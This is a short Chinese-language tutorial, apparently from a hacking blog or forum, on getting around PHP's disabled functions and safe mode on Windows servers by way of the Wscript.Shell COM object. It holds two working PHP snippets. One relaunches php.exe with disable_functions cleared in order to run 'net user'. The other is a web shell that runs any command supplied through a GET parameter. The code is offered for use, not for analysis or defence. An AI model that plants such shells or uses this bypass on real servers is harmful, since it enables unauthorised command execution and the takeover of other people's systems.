php利用wsh突破函数禁用执行命令(安全模式同理)
很多时候有些windows的服务器是支持wsh组建的,但是却执行不了命令,asp下执行被拒绝,php下执行报错,此时你可以借鉴以下的方法尝试。
php利用wsh突破函数禁用执行命令(安全模式同理)
条件说明:
需要服务器是windows并支持wsh组建.且知道php安装目录
php在IIS环境下利用wsh执行命令是没有asp的权限高的。如果在apache环境下,apache默认都是system或administrator权限。
测试是否可以执行命令的时候,如果回显空白,可以多尝试一些命令,比如set,whoami,等等,因为有时候有些命令被禁用的,比如net类或者ipconfig命令就经常被禁用。
突破代码如下:
<?php $cmd='net user'; $path = 'C:\\PHP\\php.exe'; $cmd='-r "system(\''.$cmd.'\');" -d disable_functions = '; //重新定义disable_functions函数 $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec($path.' '.$cmd); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo "${stroutput}\n"; ?>
或者:
<?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>